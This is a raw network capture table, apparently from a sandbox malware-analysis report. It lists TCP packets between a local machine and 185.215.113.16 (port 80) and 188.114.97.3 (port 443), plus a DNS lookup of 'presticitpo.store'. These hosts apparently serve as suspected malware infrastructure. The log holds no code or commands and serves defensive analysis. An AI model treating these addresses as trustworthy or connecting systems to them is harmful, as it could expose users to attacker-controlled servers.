Oct 30, 2024 04:35:47.345422983 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345423937 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345442057 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345451117 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345473051 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345479012 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345505953 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345521927 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345534086 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345535040 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345555067 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345556021 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345573902 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345575094 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345587969 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345598936 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345602989 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345618010 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345648050 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345657110 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345666885 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345671892 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345686913 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345700979 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345709085 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345720053 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345736027 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345741034 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345756054 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345784903 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345818043 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345849037 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345865011 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345880032 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345894098 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345894098 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345909119 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345921040 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345936060 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345940113 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345968962 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345971107 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345984936 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345987082 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346010923 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346024036 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346034050 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346043110 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346049070 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346061945 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346081018 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346086025 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346101046 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346102953 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346117020 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346128941 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346131086 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346148968 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346168995 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346199036 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346239090 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346276999 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346287012 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346292973 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346322060 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346355915 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346358061 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346371889 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346398115 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346412897 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346424103 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346460104 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346467018 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346477032 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346493006 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346508026 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346508026 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346543074 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346546888 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346565962 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346574068 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346590042 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346605062 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346611977 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346652031 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346652031 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346694946 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346709013 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346724033 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346746922 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346754074 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346762896 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346791029 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346813917 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346822977 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346827984 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346857071 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346877098 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346879959 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346894979 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346906900 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346910954 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346926928 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.346959114 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.346981049 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.352446079 CET	443	50000	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:47.352507114 CET	50000	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:47.359105110 CET	50000	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:47.359114885 CET	443	50000	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:47.359371901 CET	443	50000	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:47.362190008 CET	50000	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:47.362216949 CET	50000	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:47.362263918 CET	443	50000	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:47.463228941 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463279009 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463305950 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463305950 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.463335991 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463351011 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463357925 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.463357925 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.463367939 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463385105 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.463407993 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.463426113 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.463804960 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463819981 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463835001 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463850021 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463865995 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463871956 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.463884115 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463896990 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.463915110 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463922024 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.463931084 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463946104 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463960886 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.463960886 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463978052 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.463992119 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464008093 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464010954 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464056969 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464061022 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464072943 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464087963 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464139938 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464164019 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464210033 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464225054 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464240074 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464253902 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464258909 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464268923 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464284897 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464298010 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464339018 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464348078 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464363098 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464379072 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464390039 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464390993 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464433908 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464433908 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464448929 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464462996 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464471102 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464478016 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464493990 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464499950 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464509010 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464524031 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464544058 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464560986 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464749098 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464764118 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464778900 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464793921 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464804888 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464809895 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464822054 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464826107 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464839935 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464842081 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464855909 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464860916 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464870930 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464884996 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464896917 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464899063 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464915037 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.464926004 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.464930058 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465014935 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465014935 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465131998 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465147018 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465162039 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465178013 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465194941 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465200901 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465217113 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465230942 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465233088 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465245962 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465255022 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465261936 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465276003 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465290070 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465297937 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465358973 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465523958 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465538025 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465553999 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465568066 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465569973 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465583086 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465598106 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465604067 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465614080 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465626001 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465632915 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465641022 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465648890 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465656042 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465668917 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465670109 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465683937 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465698004 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465717077 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465728045 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465737104 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465751886 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465765953 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465801954 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465889931 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465904951 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465919018 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465931892 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465944052 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465945959 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465960979 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465976000 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.465980053 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.465991974 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466006041 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466012955 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466022968 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466078997 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466140985 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466227055 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466243029 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466258049 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466274023 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466279030 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466291904 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466299057 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466305017 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466320038 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466336012 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466339111 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466351032 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466360092 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466367960 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466382980 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466396093 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466407061 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466423035 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466437101 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466464996 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466464996 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466491938 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466586113 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466600895 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466617107 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466631889 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466646910 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466656923 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466659069 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466675043 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466689110 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466701984 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466703892 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466716051 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.466723919 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466753006 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.466780901 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.467564106 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467587948 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467602015 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467628956 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.467653990 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.467669964 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467689037 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467715025 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.467719078 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467732906 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467747927 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467756033 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.467792988 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467793941 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.467806101 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467843056 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467849970 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.467858076 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467889071 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.467910051 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467925072 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467941999 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.467941999 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.467956066 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467972040 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.467988968 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.468018055 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.468018055 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.468039989 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.468054056 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.468071938 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.468113899 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.468120098 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.468137980 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.468156099 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.468162060 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.468192101 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.468197107 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.468211889 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.468213081 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.468235016 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.468245029 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.468251944 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.468264103 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.468283892 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.468307018 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.468324900 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.468338013 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.468384027 CET	80	49999	185.215.113.16	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 04:34:15.254199982 CET	192.168.2.7	1.1.1.1	0x18d0	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
